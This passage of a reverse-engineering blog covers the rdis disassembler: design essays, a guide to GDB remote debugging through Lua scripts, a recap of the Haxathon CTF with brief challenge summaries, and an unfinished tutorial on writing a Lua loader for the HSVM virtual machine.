
0

###  Add a comment****

  6. _I have gone through and made corrections to this article**.** They are italicized and colored blue._  
  
The following are my thoughts while contemplating the construction of an
Intermediate Representation for rdis**.** They thoughts difficult to order,
but I will put forth a best-effort**.**  
  
Rdis is a tool for analyzing a program given a specific state**.** It is most
helpful in the graphing and display of disassembled instructions**.** However,
when we disassemble these instructions, we are making some assumptions, as
instructions are also stateful**.**  
  
This makes sense, but is something I have not fully considered before**.** We
live in a Von Neumann world where our instructions exist in the same
addressable memory as our data**.** Sure, well formed programs are loaded to
have non-executable memory permissions over _data_ , but memory permissions
are modifiable at runtime**.** When we disassemble, we make the assumption
that the instructions, and control-flow observable at a specific program
state, will not deviate at future states**.**  
  
This assumption works fairly well as, in most cases the assumptions hold
true**.** If, however, given a future state, instructions do deviate, we need
to disassemble them to discover how our program has changed**.**  
  
Rdis does this with the function rdis\_update\_memory**.** Each function in
rdis has its bounds defined in a lattice where the greatest lower bound is the
address of the lowest addressable instruction in the function's graph, and the
least upper bound is the address of the greatest addressable instruction plus
the instruction's size in the function's graph**.** When we update a region of
memory, we check to ensure a function does not overlap the updated region**.**
If it does, we have to regraph the function. We only want to update
instructions that change, however, as we may otherwise delete additional
properties a user has added to an instruction \(read comments\)**.** This is
some of the most complicated code in rdis, especially considering rdis's only
internal representation of code is in a directional graph**.**  
  
We now return to our instruction, a stateful variable interpreted by the CPU
\(which has its own state\) to update state, and our use of it in an
Intermediate Representation**.** The purpose of translating an instruction to
an IR is to perform analysis over the IR in order to derive understanding from
future states**.** Specifically, the addition of data-flow analysis to
control-flow of analysis**.**  
  
For those of us familiar with exploitation, we know the purpose of
exploitation is, usually, to alter control flow in a manner not originally
intended by the author**.** This will most likely involve altering control-
flow in a manner not observable without data-flow analysis**.**  
  
This is why we fuzz programs. By introducing data into the equation, we hope
to place the program into an invalid state, and by observing the conditions
which led to this state we hope to modify our data to alter the control flow
in an unintended manner**.** This is also the purpose of symbolic execution
and other forms of abstract analysis, to observe the changes in a program's
state based possible sets of data**.**  
  
This raises interesting questions about the assumptions we make as we analyze
disassembled programs. Let's take a look at the following instructions:  
  
400080: eb 00 jmp 0x400082  
400082: c6 04 25 81 00 40 00 mov BYTE PTR ds:0x400081,0xa  
400089: 0a  
40008a: eb f4 jmp 0x400080  
40008c: b8 3c 00 00 00 mov eax,0x3c  
400091: bf 00 00 00 00 mov edi,0x0  
400096: 0f 05 syscall  
  
The following program is available as a valid x86-64 linux executable here:
http://rainbowsandpwnies.com/~endeavor/files/ins  
  
These first three instructions pose an interesting problem for writing a
useful disassembler**.** Given the state presented, clearly the correct
disassembly of the instruction at 400080 is "jmp 0x400082"**.** This is
because, as stated, instructions have state**.** However, it's evident the
control-flow of this program will be altered once the instruction at 0x400082
has updated state**.**  
  
This doesn't seem like much of _an issue_ until you consider the problem of
applying data-flow analysis to a CFG to enhance a visual representation of how
a program will behave**.** _How should we visualize this program_**?** We
could create a CFG that looks like this:  
  
\(400080, jmp 0x400082\) -> \  
\(400082, mov BYTE \[0x400081\], 0xa\) -> \  
\(400089, jmp 0x400080\) -> \  
\(400080, jmp 0x40008c\) -> \  
\(40008c, mov eax, 0x3c\) ..**.**  
  
And this process would be helpful for a trivial program such as the one
described below**.** However, if we introduce a small loop into the program,
such as  
  
for \(i = 0; i < 0x100; i++\) \{ do\_things\(\); \}  
  
Our graph could become unwieldly, depending on do\_things\(\)**.** Perhaps
this example isn't the best. Imagine, instead, the assumption we make when
interpreting the meaning behind a call in a program loaded in linux without
relro protections**.** We are assuming our entries in the GOT hold addresses
to the entries specified in the ELF's relocations**.** This is a good
assumption, as it is generally valid**.** However, to say a specific entry in
the GOT will hold the address intended by the ELF's relocation entry is not
correct, as the correct answer is _it depends_**.**  
  
I want rdis to exhibit some form of predictability and correctness**.** I
believe the more correct answer here is to display the interpretation of a
program without data-flow analysis, displaying only the state at a specific
point in a program's execution**.** This means deducing control-flow without
applying future data into the equation**.** The alternative would be an
attempt to reflect decisions based on future states of the program back onto
the current state**.** While this will usually lead to valid assumptions, I do
not believe it is correct**.**  
  
I am looking for thoughts and comments on my thought-process, and to what
degree data-flow analysis is useful in a tool such as rdis**.** I put forth
there are numerous tools available for the analysis of how programs will
behave, and rdis should be concerned with what the current state of a program
reflects**.** Rdis should attempt to hold true to this statement as much as
possible**.**

Posted 5 weeks ago by rednovae

0

###  Add a comment****

  7. ##  The Informal Introduction****
I just finished writing \(in asm\) a small x86-64 linux challenge for a CTF
taking place tomorrow**.** Because I am slightly less than talented, my
challenge wasn't functional on the first go**.** It required debugging**.** I
just finished adding debugging support for rdis  via GDB Remote Serial
Protocol \(that means remote gdb debugging\), so I figured I'd give it a spin
and see how it worked**.**  
  
_This post will get you set up with debugging in rdis**.** I'm also sharing
how I used rdis to debug this simple program**.**_

##  Getting Set Up****

First, you need rdis**.** If you have Arch Linux, it's in the aur\! The
package name is rdis**.** If not, it's available on github .  
  
Next, you'll need a copy of my lua scripts for rdis**.** They can be found
here: github.com/endeav0r/rdis-lua  **.** There is a package in the aur, but
as of this posting the aur package is slightly out of date**.**  
  
You'll need two lua packages. The first is lua51-socket, available in the arch
package repos**.** The second is lgi, available here:
https://github.com/pavouk/lgi **.** There is a package for lgi in the arch
package repos, but it's for lua 5**.** 2\. You need to make and install from
the github repo for lua 5**.** 1.  
  
Finally, you'll want to set up your ~/.rdis.lua to load my lua scripts when
rdis starts up**.**  
  
We'll start with an ~/.rdis.lua like this:  
  
local PATH\_TO\_RDIS\_LUA = '/path/to/rdis/rdis-lua'  
  
package.path = package.path .. ';' .. PATH\_TO\_RDIS\_LUA .. '/**?**.lua'  
dofile\(PATH\_TO\_RDIS\_LUA .. '/rdis.lua'\)

##  Launch gdbserver****

gdbserver 127**.** 0.0**.** 1:9090 ./prog

##  Connecting to gdbserver****

If you've configured rdis as mentioned above my lua scripts will load
automatically**.** You can now call my debugging scripts to connect to the the
gdb server, grab the executable, load it into rdis, and spawn a simple
debugging interface for us to use**.**  
  
We do all this with the function: gdb\_gui\(host, port, architecture\)  
  
Currently the only supported architecture is x86-64, which rdis-lua refers to
as amd64**.** For our specific gdbserver instance, we will have:  
  
gdb\_gui\('127**.** 0.0.1', 9090, 'amd64'\)  
  
You can paste this directly into your main rdis window, wait for lua to grab
the state of the program, and the binary should load properly into rdis**.**

Here's what the debug window looks like once it pops up:

It's pretty ugly, but it's also pretty functional**.**

##  Adding a Breakpoint****

Pretty self-explanatory**.** Click "Add Breakpoint", and then type in the
breakpoint address**.** Hit continue to continue to the breakpoint**.**

##  Updating Memory****

Grabbing the process's memory can be a slow process**.** Instead of performing
this action automatically, I have decided to allow the user to decide when to
update rdis' representation of the program's memory**.** Clicking update
memory will grab the state of the program's mapped memory ranges, all of them,
and transfer them to rdis**.**

##  Automating the Process****

Navigating around the lua debugging interface is ok, we can get things
accomplished, but there has to be a better way to get the necessary state
information from the debugger into rdis**.**

And, well, there is. This is all lua, so we can script it all out**.**

In my .rdis.lua, I start with our gdb\_gui\(\) command to connect to the
debugger**.** This line is followed by several other lua calls to rdis to
label functions as I discover what they do:

gdb\_gui\('127**.** 0.0**.** 1', 9090, 'amd64'\)

rdis.set\_function\_label\(uint64\("0x4000a7"\), "one"\)

rdis.set\_function\_label\(uint64\("0x4000d0"\), "two"\)

rdis.set\_function\_label\(uint64\("0x400123"\), "seven"\)

Pretty soon I discover a good address to break at after I load my
shellcode**.** I start calling functions used by the lua debugging code
directly**.**

\-- Add a breakpoint directly to the GUI's gdb instance**.**

GDB\_GUI.gdb:add\_breakpoint\(uint64\("0x4000bf"\)\)

\-- This refreshes the GUI's listing of breakpoints

gdb\_gui\_set\_breakpoints\(\)

\-- This is the same function called when "Continue" is pressed

gdb\_gui\_continue\(\)

\-- Some helpful output

rdis.console\("breakpoint reached"\)

\-- Grabs the entire process's memory from the remote gdb server instance

\-- and updates rdis's internal memory representation of the program**.**

gdb\_gui\_update\_memory\(\)

\-- Creates a user function at 0x400181, where our shellcode is stored

rdis.user\_function\(uint64\("0x400181"\)\)

Now as I modify both my challenge, and my PoC for it, I simply kill the
gdbserver instance, restart it, and restart rdis**.** Each time, rdis
progresses the program to the exact point I'm interested in**.**

When I'm not debugging a specific program, I leave the gdb\_gui\(\) line in my
.rdis.lua **.** If lua can't connect to a gdb server, no harm no foul**.**
However, now when I want to debug an application I just have to fire up
gdbserver**.** It saves those extra 10 seconds of remembering how to connect
to the gdb server**.**

##  So... Improvements Are Needed****

While debugging this program I added new functionality to rdis, fixed bugs in
both rdis and the lua scripts, and found one bug I have yet to fix**.** Some
of the features outlined in this post, such as rdis.user\_function\(uint64\),
are new to rdis as of two hours ago**.** Depending on your requirements, rdis
may not be ready for your debugging needs**.**

Restarting rdis each time we wish to restart the debugger is not the preferred
method of doing things**.** It works for me, but it may not work for you. Some
improvement is needed.

It would be great to allow right-clicking of an instruction to add a
breakpoint**.** However, rdis doesn't have any infrastructure in place
allowing lua to dynamically register callbacks back to..**.** well..**.** lua.

##  What's Next for Rdis****

Consider gdb remote debugging a proof of rdis as a debugging tool**.** After
writing a client for the gdb remote serial protocol, it's clear GDB RSP leaves
something to be desired**.** I started with gdb remote debugging based on
feedback, but the preferred method of debugging will involve a separate
protocol and server**.** @TDKPS  is working on the windows server component
for remote debugging, so expect that as well**.**

ARM support is coming, slowly. I have begun hacking away on an ARM
disassembler, and once I get around to finishing it I will bring ARM support
into rdis**.** I don't do much ARM debugging, but it seems like a natural next
step for additional architecture support**.**

If you have looked at the rdis source, you noticed there's code in there for
an x86 -> Intermediate Language translator**.** This code has not been touched
in a while, and that portion of rdis, while important, is on indefinite
hold**.** The IL may change, and until then no work will be done on that
code**.**

Finally, if you've used rdis, let me know**\!**

Posted 12th January by rednovae

Labels: rdis

0

###  Add a comment****

  8. Haxathon  is a continuous, challenge-based security CTF with a focus on exploitation, reverse-engineering, cryptology and general binary-foo magic**.** Most of the competition took place in the Haxathon Supremacy Virtual Machine, which is a 16-bit big-endian RISC VM**.**  
  
While Haxathon challenge servers will remain operational until 07 DEC 2012, I
have disabled scoring in order to facilitate the posting of write ups**.**

##  Final Scores of Top 10 Players****

1\) acez - 1550  
2\) wont - 1550  
3\) NiklosKoda - 1550  
4\) themadllama - 1350  
5\) FrizN - 1350  
6\) nitin - 1200  
7\) vonr1ch - 1000  
8\) 414D41 - 850  
9\) ufox - 850  
10\) ercool - 850

##  A brief overview of the challenges****

_" Flag File," indicates the goal of the challenge is to open a file named,
"Flag," and read the contents**.**_

**key** \- HSVM - 50 points - This challenge XORed user input with 0x77 and
compared it against 8 bytes**.** If the input matched, the user was given a
message indicating success**.** The bytes required for the success message
comprised the flag for this challenge**.**

**backdoor** \- HSVM - 50 points - This challenge reads in input from the data
and then jumps directly to first given byte**.** This is a, "Flag File,"
challenge.

**backdoor1**.** 5** \- HSVM - 100 points - This challenge requires the user
to enter a name which is compared against a 12 byte string pushed onto the
stack**.** The string is "blackknights"**.** Once this string has been
matched, the server enters a loop where it reads one byte from /dev/urandom,
sends this byte to the user, reads one byte from the user, XORs the byte from
the user and writes it to a buffer starting from 0x8000**.** Once the server
XORs a byte resulting in 0x99, it jumps to the shellcode at 0x8000**.** This
is a, "Flag File," challenge.

**backdoor2** \- HSVM - 75 points - The user inputs shellcode which is XORed
with 0x99 and stored at a buffer starting at 0x8000**.** Once a byte, XORed
with 0x99, is equal to 0x00 or 0x0a the server will jump to the shellcode**.**
This is a, "Flag File," challenge.

**news** \- HSVM - 100 points - strcpy buffer overflow of a stack return
address with, "Details**.** " This is a, "Flag File," challenge.

**sum** \- Crypto - 200 points - Sum presents the attacker with a custom
cryptographic hash with insufficient confusion**.** It can be solved by a SAT
solver in about an hour on a Samsung Series 9 laptop**.** To score, the
attacker must find a message that when hashed results in the 8 byte output of
0000000000000000**.**

**players** \- HSVM - 200 points - Players requires exploitation of a use-
after-free vulnerability**.** The attacker must follow a specific order of
allocations and frees, overwrite data for a freed object, and then call a
method on that object to gain control of the instruction pointer**.** The heap
allocator and object logic was programmed in HSVM assembly, so the task of
figuring out what exactly is happening is a bit daunting itself**.** This is
a, "Flag File," challenge. The CFG for this challenge is _gigantic_ compared
to other haxathon challenges**.**

**image** \- HSVM - 150 points - Image reads in an ASCII art image compressed
with RLE**.** During decompression, the length of decompression for a single
byte during RLE is not checked**.** This allows the attacker to overflow the
stack frame with a one byte sequence \(0xABAB\)**.** This is a, "Flag File,"
challenge**.**

**hidden\_key** \- HSVM - 125 points - This challenge has nothing to do with
hidden keys**.** This challenge is a buffer overflow with a stack layout of
\[ret\]\[stack canary\]\[pointer to buf\]\[buf\]**.** The attacker must
overwrite the pointer to buf and use this pointer to overwrite memory at an
attacker-controlled location**.** Overwriting the stack canary will cause the
program to properly exit**.** This is a, "Flag File," challenge.

**checkout** \- Crypto - 150 points - This challenge consists of an insecure
format for RC4 encrypting information**.** The format of encrypted messages
consists of a 4 byte length, the message, and a 4 byte additive checksum**.**
By flipping bits 32-bits apart from on another, the attacker may or may not
invalidate the checksum**.** The server will return a message indicating the
validity of the checksum**.** The attacker can use this information to
discover the plaintext one bit at a time**.**

**inception** \- HSVM - 150 points - This challenge consists of a VM
programmed in HSVM assembly**.** The attacker must reverse the VM to discover
an input that will cause the program to output a message indicating
success**.**

**mod48** \- HSVM - 200 points - This challenge is a stack frame return
address buffer overflow**.** However, the modulus of each byte against 0x30 is
taken and written to the stack**.** This eliminates a large amount of the HSVM
instruction set, and the attacker must return to a function whose address
bytes are less than 0x30**.** Such a function was available. This challenge
required a return-to-libc approach to exploit**.** This was a, "Flag File,"
challenge.

##  Lessons Learned****

**End your contest immediately following the last challenge**.**** The last
challenge was released 02 NOV 2012**.** However, Haxathon continues until 07
DEC 2012. Originally we didn't know how many challenges would be present in
the complete contest and we wished to leave room for expansion**.** Instead of
planning to expand the contest in time, we should have planned to make the
contest more dense in challenges**.**

**More challenges earlier on**.**** While players unfamiliar with reverse-
engineering spent a good deal of time on the first few challenges, several
players completed these challenges in under an hour**.** When first entering a
contest, reversers don't enjoy waiting**.**

**Expect the horde.** I ended up posting haxathon on r/netsec **.** We had
over 90 registrations in the next 24 hours. While we handled this well,
expectations were closer to 30**.** As of this writing, 290 players have
registered for the Haxathon**.** 60 players have scored**.** A few more than
that have _attempted_ to score, but they still need to try harder**.**

**Send an email when your contest starts**.**** We had several players who
showed up in IRC after the contest started and said, "Oh, I didn't know this
thing had started already**.** " Those are the people we heard from**.** A
reminder email would have been nice.

**Expect to write all the challenges**.**** In addition to writing the website
that hosted haxathon, I also authored the HSVM and all the challenges**.** Be
prepared to write all of the challenges for your contest, and don't count on
receiving challenges from outside \(or inside\) sources**.**

##  Things I believe we did right****

**Log all the bits, lock down the challenges**.**** We log every page a
logged-in user visits, all incorrect submissions, all traffic to the web
server and challenge server, everything**.** Additionally, we have code that
quickly displays this information in a meaningful manner**.** We can quickly
correlate the actions taken by an IP address or user, the times those actions
were taken, and use them to make educated decisions on what people are
doing**.** We had some hiccups, but, _to my knowledge_ , we didn't fall
over**.** Oldgregg was responsible for securing the challenge server, and I
believe he did a good job**.** I watched him work his magic through tmux.
Wow**.**

**Put some simple challenges first, and have someone else quantify,
"Simple**.** "** Originally, news was the first challenge**.** I thought this
challenge was straight-forward. I also wrote the entire contest and VM from
the ground up**.** Having someone else take a look at a couple challenges
allowed me to rework the early challenges in the competition**.** Several
simpler, easier challenges were written and front-loaded**.**

##  And... In Closing..**.**

If you're interested in haxathon, I encourage you to give it a look**.**
Everything is still operational over at haxathon.com **.** If you're
considering hosting your own contest and have some questions on what that
experience is like, feel free to leave a comment or get in touch with me on an
individual basis**.**

Posted 25th November 2012 by rednovae

0

###  Add a comment****

  9. When I began writing rdis, I knew I wanted a visual tool that understood assembled programs in the same manner that I understood assembled programs. Unfortunately, I wasn't able to place my finger on exactly what that understanding was**.** After reading Chris Eagle's Ida Pro Book, or perhaps more accurately jumping through the book in a few hours, and reading What Every Programmer Absolutely, Positively Needs To Know About Encodings And Character Sets To Work With Text , I believe I have reached a definition:  
  
"The separation of meaning from its storage medium**.** "  
  
Let us begin with an ordered set of bytes, \{0=0x41, 1=0x42, 2=0x43,
3=0x44\}**.** What is the meaning behind these bytes? Well, it depends**.** It
may be a little-endian representation of the ASCII string "ABCD", it may be
the address 0x41424344, it may be the instructions "inc eax; inc edx; inc ebx;
inc esp;", it may be an ordered set of four garbage bytes, it may be a
combination of the above, or it may be something else entirely**.**  
  
Whatever combination of the above examples we use to extract meaning from the
above ordered set of bytes, they key is we  _extract understanding from, not
apply understanding to_ , this ordered set of bytes**.**  
  
Let us assume we will interpret 0x41424344 as the ASCII string "ABCD"**.**
What we should not do is create a string reference to address 0 and mark that
reference as type string**.** What we should do is create a string with the
value "ABCD"**.** We can add metadata to this string, such as, "This string
was found at address 0**.** "  
  
Data changes during runtime, and our program may replace our bytes 0x41424344
with 0x44434241**.** This does NOT change the meaning or value we extracted
from our _original value_ , 0x41424344**.** What we have is a _new value_ ,
and we should extract that value and apply meaning to it appropriately**.**
The immediate difference between these two values is state**.** The way our
program interprets this new value should also affect the way we understand
this new value**.**  
  
By approaching disassembly in this fashion, we more closely mirror the
behavior of the machine which interprets our assembly**.** Below is one
immediate benefit of this approach.  
  
When rdis disassembles a program, it makes no assumptions about the bytes
within the program**.** Given a set of entry points, it disassembles one
instruction**.** From that instruction we extract a set of addresses that
control flow may continue to after that byte**.** If we naivele disassembe an
ordered set of bytes, where disassembly of one instruction begins immediately
following the disassembly of a previous instruction, we will not achieve the
original meaning of the program**.** However, if we recursively extract
information from our bytes, we will  _extract_ the correct information**.**  
  
Because rdis extracts, instead of applies, understanding, we automatically
avoid incorrect disassemblies from control flows which defeat naive
disassemblies**.** Rdis understands that given a set of 8 ordered bytes, there
may be instructions of varied length beginning at each of those bytes**.**
Instead of applying understanding to the bytes, rdis extracts understanding
and could, potentially, arrive at eight separate, correct disassemblies while
creating its internal, directed graph representation of the program**.**
Instructions which jump to addresses which are in the middle of what would
normally be a naively disassembled instruction do not affect rdis, as bytes in
rdis do not have meaning attached to them**.** Rdis extracts the correct
meaning from these bytes**.**

Posted 18th November 2012 by rednovae

Labels: rdis

3

###  View comments****

  10. Rdis , The Rainbowsandpwnies Disassembler, is a binary analysis tool under development by rainbowsandpwnies **.** In this post I'm going to work through an example for writing your own rdis loader in lua, allowing you to analyze unique instruction sets and file formats with rdis**.**  
  
While this post is not focused on the lua language, there are some lua quirks
you need to be aware of**.** I will touch on a few of these quirks, but if you
plan on using rdis I recommend you take the time to learn about lua**.**  
  
We will be writing a loader for the HSVM instruction set**.** HSVM stands for
Haxathon  Supremacy Virtual Machine, and was the RISC 16-bit VM used for the
Haxathon reverse-engineering and exploitation challenges..  
  
The rdis lua API is available here **.** At a minimum, familiarize yourself
with the uint64 object**.**  
  
The complete hsvm lua loader is available at the end of this post for
reference**.**  
  
What Rdis expects from a lua loader  
  
The rdis lua loader expects an instantiated lua object with the following
methods:

     * uint64 entry \(\)
     * table functions \(\)
     * table function\_address \(uint64 address\)
     * table ins \(uint64 address\)
     * string label \(uint64 address\)
     * table memory\_map \(\)
**uint64 entry \(\)** returns a uint64 representing the entry point into the
binary**.**

**table functions \(\)** returns a lua table of uint64, where each element in
the table represents what you believe to be a function**.**

**table function\_address \(uint64 address\)** returns a lua table of uint64,
where each element in the table represents what you to believe to be a
function, where the argument address is given to you as a function**.** At a
minimum you should return a table with one value, address**.** When a user
performs a "user function" action, this method will be called**.**

**table ins \(uint64 address\)** returns a table containing information about
the instruction found at address, or nil if no valid address was found**.**
This is the workhorse method of our loader, and we will spend a bit of time on
it**.**

**string label \(uint64 address\)** returns a string representing the
address**.**

**table memory\_map \(\)** returns a table where the key is a uint64 and the
value is a table of integers representing the bytes as they will be laid out
in virtual memory once the executable is loaded, starting from the address
given by each key**.**

When you call rdis.load\(loader\), rdis will first call loader:functions\(\)
and then begin recursively disassembling from each address it receives**.** It
will label each function by calling loader:label\(\)**.**

Don't lose hope just yet. We're going to walk through it**.**

Laying out our lua loader object

We're going to start with some boilerplate lua object code for our HSVM
loader**.**

[code]     Hsvm = {}

    Hsvm.__index = Hsvm
    
    function Hsvm.new (filename)
        local hsvm = {}
        setmetatable(hsvm, Hsvm)
        return hsvm
    end
    
    function Hsvm.ins              (hsvm, address) return nil end
    function Hsvm.function_address (hsvm, address) return nil end
    function Hsvm.functions        (hsvm)          return nil end
    function Hsvm.label            (hsvm, address) return nil end
    function Hsvm.memory_map       (hsvm)          return nil end
    function Hsvm.entry            (hsvm)          return nil end
    
    return Hsvm
    
[/code]

If you are unfamiliar with lua, this boilerplate code will get your loader set
up correctly**.**

Hsvm Constants

The format of the HSVM instruction set is fairly basic**.** Each instruction
is four bytes. The first byte of each instruction holds an opcode**.** The
meaning of the remaining three bytes is determined by the opcode**.** We will
start by filling out several constants:

[code]     Hsvm.REG_0       = 0x00

    Hsvm.REG_1       = 0x01
    ..**.**
    Hsvm.REG_SP      = 0x09
    Hsvm.REG_IP      = 0x07
    Hsvm**.** OP_ADD      = 0x10
    Hsvm**.** OP_ADDLVAL  = 0x11
    ...
    Hsvm.OP_SYSCALL  = 0x61
    Hsvm.OP_NOP      = 0x90
    
[/code]

Hsvm.new \(filename\)

Inside the Hsvm.new \(filename\) function we create our object, hsvm**.** We
will want to open the file specified by filename, read its contents, and store
it internally in the object**.**

To open a file in lua we call io.open\(\)

[code]     function Hsvm.new (filename)

        local hsvm = {}
        setmetatable(hsvm, Hsvm)
    
        local fh  = io.open(filename, "r")
        if fh == nil then
            rdis.console("failed to open file: " .. filename)
            return nil
        end
[/code]

fh now has a method read\(\)**.** We pass the string "\*a" to read\(\), which
means, "Read the entire file**.** " read\(\) will return a lua string, and we
will turn this string into a table where each element of the table holds the
integer value of its byte in the file**.**

[code]         local raw = fh:read("*a")

        fh:close()
    
        hsvm.bytes = {}
        for i=1, #raw do
            hsvm.bytes[i] = string.byte(raw, i)
        end
[/code]

You're probably thinking, "Wait**\!** That table starts at index 1**\!** " You
are correct. Lua begins tables at index 1 by convention**.** Iterating over a
table that starts at 0 will skip the first element, and several other minor
lua quirks will cause headaches later down the road**.** In lua, start your
tables at index 1.

We can now return the hsvm object to the user**.**

[code]         return hsvm

    end
    
[/code]

Hsvm.ins \(hsvm, address\)

Hsvm.ins is our workhorse function and will compose the bulk of our
loader**.** Partly this is because hsvm binaries are format-less files**.**
Rdis will call loader:ins\(address\) and expect to receive either a valid ins
table, or nil if disassembly at the given address was not valid**.**  
  
The address is a virtual address, not an offset into your binary file**.**
Because HSVM files are loaded directly into memory starting at address 0,
address and offset are practically synonymous for HSVM**.**

Rdis will expect the table returned to include the following elements:

uint64 ins.address

table ins.successors

uint64 ins.target

string ins.description

table ins.bytes

boolean ins.call

ins.address is the address of the instruction**.** You can take this directly
from the function's address argument**.** This field is always required.

ins.successors is a table where the values are of type uint64 and represent
the addresses where control flow may continue after this instruction**.** This
should become self-explanatory once we are done, but if you require more
explanation see my previous post, Creating Control Flow Graphs from Assembly
**.** Rdis will use this table to recursively disassemble your executable**.**
If there are no successors, this field can be omitted or set to nil**.**

ins.target is a uint64 address, used with branch instructions, that designates
the target address of the branch**.** Rdis uses this to intelligently provide
additional information while displaying instructions**.** This field can be
omitted or set to nil if there is no target, or if you don't wish to spend the
time implementing it**.**

ins.description is a string representation of the instruction**.** This field
is always required**.**

ins.bytes is a table of numbers, beginning from index 1, corresponding to the
bytes which compose this instruction**.** This field is always required**.**

ins.call is a boolean. If the instruction is a call, set this field to
true**.** Otherwise it can be omitted, set to nil or false. Do not expect Call
Graphs to work if you do not set this field**.**

While rdis will look for the above fields, we can add as many additional
fields as we wish**.** We will use a few additional fields to simplify the
implementation of our loader**.**

Our first task in Hsvm.ins will be to decode the encoded instructions into
something more meaningful**.** In addition to the required fields, we will
have three internal fields: opcode, operands and lval**.** We'll create helper
functions to fill out more complex information later**.**

[code]     function Hsvm.ins (hsvm, address)

    
        function description (ins)
            return "instruction"
        end
    
        ------------------------------------------------
    
        function successors (ins)
            return nil
        end
    
        ------------------------------------------------
    
        function target (ins)
            return nil
        end
    
        ------------------------------------------------
    
        local bytes = {hsvm.bytes[address:number() + 1],
                       hsvm.bytes[address:number() + 2],
                       hsvm.bytes[address:number() + 3],
                       hsvm.bytes[address:number() + 4]}
    
        local ins = {}
        local opcode = bytes[1]
        local validate_operands = 0
    
        ins.address = address
        ins.opcode  = opcode
    
        ins.bytes = bytes
    
        -- set operands/lval
        -- Encoding A
        if    opcode == Hsvm**.** OP_HLT
           or opcode == Hsvm.OP_NOP
           or opcode == Hsvm.SYSCALL
           or opcode == Hsvm**.** OP_RET then
           -- do nothing
    
        -- Encoding B
        elseif    opcode == Hsvm**.** OP_CALLR
               or opcode == Hsvm.OP_PUSH
               or opcode == Hsvm.OP_POP
               or opcode == Hsvm**.** OP_IN
               or opcode == Hsvm.OP_OUT then
            ins.operands = {}
            ins.operands[1] = bytes[2]
    
        -- Encoding C
        elseif    opcode == Hsvm**.** OP_CMP
               or opcode == Hsvm.OP_LOADR
    ..**.**
               or opcode == Hsvm.OP_STORBR
               or opcode == Hsvm**.** OP_MOV then
            ins.operands = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
    
        -- Encoding D
        elseif    opcode == Hsvm**.** OP_ADD
               or opcode == Hsvm.OP_SUB
    ...
               or opcode == Hsvm**.** OP_OR
               or opcode == Hsvm.OP_XOR then
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
            ins.operands[3] = bytes[4]
    
        -- Encoding E
        elseif    opcode == Hsvm**.** OP_ADDLVAL
               or opcode == Hsvm.OP_SUBLVAL
    ..**.**
               or opcode == Hsvm.OP_STORB
               or opcode == Hsvm**.** OP_MOVLVAL then
    
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.lval        = bytes[3] * 256
            ins.lval        = uint64(ins.lval + bytes[4])
    
        elseif    opcode == Hsvm**.** OP_JE
               or opcode == Hsvm.OP_JNE
    ...
               or opcode == Hsvm**.** OP_JMP
               or opcode == Hsvm.OP_PUSHLVAL then
            ins.lval = bytes[3] * 256
            ins.lval = uint64(ins.lval + bytes[4])
    
        else
            return nil
        end
    
        if ins.operands ~= nil then
            for k,v in pairs(ins.operands) do
                if     v ~= Hsvm.REG_0
                   and v ~= Hsvm.REG_1
    ..**.**
                   and v ~= Hsvm.REG_SP
                   and v ~= Hsvm.REG_IP then
                    return nil
                end
            end
        end
    
        ins.target      = target(ins)
        ins.successors  = successors(ins)
        ins.description = description(ins)
    
        if ins.opcode == Hsvm**.** OP_CALL then
            ins.call = true
        else
            ins.call = false
        end
    
        return ins
    end
    
[/code]

While this may return valid instructions, the result won't be very
helpful**.** First, all of our instructions will be described as "instruction"
and rdis will be unable to perform recursive disassembly**.**

Before we continue, let's talk about address:number\(\) **.** This method
converts a uint64 to a lua number, and is _potentially dangerous_**.** The
reasons we require this method are beyond the scope of this post, but know
that you cannot index a lua table with a uint64, you must use a lua
number**.** Lua numbers are of type double, giving you roughly 48 bits to work
with**.** This should normally be a non-issue unless you are working with an
instruction set with more than 48-bits of addressable memory \(not
x86-64\)**.**

Moving on, we need to fill out our helper functions**.** They should look like
this:

[code]         function description (ins)

            local s = nil
    
            local opcode = ins.opcode
    
            if     opcode == Hsvm**.** OP_ADD      then s = "add"
            elseif opcode == Hsvm**.** OP_ADDLVAL  then s = "add"
    ...
            elseif opcode == Hsvm.OP_SYSCALL  then s = "syscall"
            elseif opcode == Hsvm**.** OP_NOP      then s = "nop"
            else
                return nil
            end
    
            if ins.operands ~= nil then
                local reg_strings = {}
                for k, reg in pairs(ins.operands) do
                    if     reg == Hsvm.REG_0  then table.insert(reg_strings, "r0")
                    elseif reg == Hsvm.REG_1  then table.insert(reg_strings, "r1")
    ..**.**
                    elseif reg == Hsvm.REG_SP then table.insert(reg_strings, "rsp")
                    elseif reg == Hsvm.REG_IP then table.insert(reg_strings, "rip")
                    end
                end
                s = s .. " " .. table.concat(reg_strings, ", ")
            end
    
            if ins.lval ~= nil then
                if ins.operand ~= nil then
                    s = s .. ", " .. tostring(ins.lval)
                else
                    s = s .. " " .. tostring(ins.lval)
                end
            end
    
            return s
        end
    
        ------------------------------------------------
    
        function successors (ins)
            if    ins.opcode == Hsvm**.** OP_RET
               or ins.opcode == Hsvm.OP_HLT then
                return nil
            end
    
            if ins.opcode == Hsvm**.** OP_JMP then
                return {(ins.address + ins.lval + 4) % 65536}
            end
    
            local successors = {ins.address + 4}
    
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
    ...
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                table.insert(successors, (ins.address + ins.lval + 4) % 65536)
            end
    
            return successors
        end
    
        ------------------------------------------------
    
        function target (ins)
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
    ..**.**
               or ins.opcode == Hsvm.OP_JGE
               or ins.opcode == Hsvm**.** OP_CALL then
                return (ins.address + ins.lval + 4) % 65536
            end
            return nil
        end
[/code]

Now that we're done with that nightmare we can move on to the remaining
functions**.**

Hsvm.function\_address \(hsvm, address\)  
  
This function will return a table of uint64 addresses of what we believe are
functions given the address passed to it**.** At a minimum, we could simply
return a table with the address argument as the sole element, but we're going
to be a bit more creative and do some recursive disassembly of our own**.**  
  
The following should be self-explanatory and makes use of the ins function we
have already written**.**

[code]    function Hsvm.function_address (hsvm, address)

        local disassembled = {}
        local functions    = {}
        local queue        = {address}
    
        functions[address:number()] = address
    
        while #queue > 0 do
            local addr = queue[1]
            table.remove(queue, 1)
    
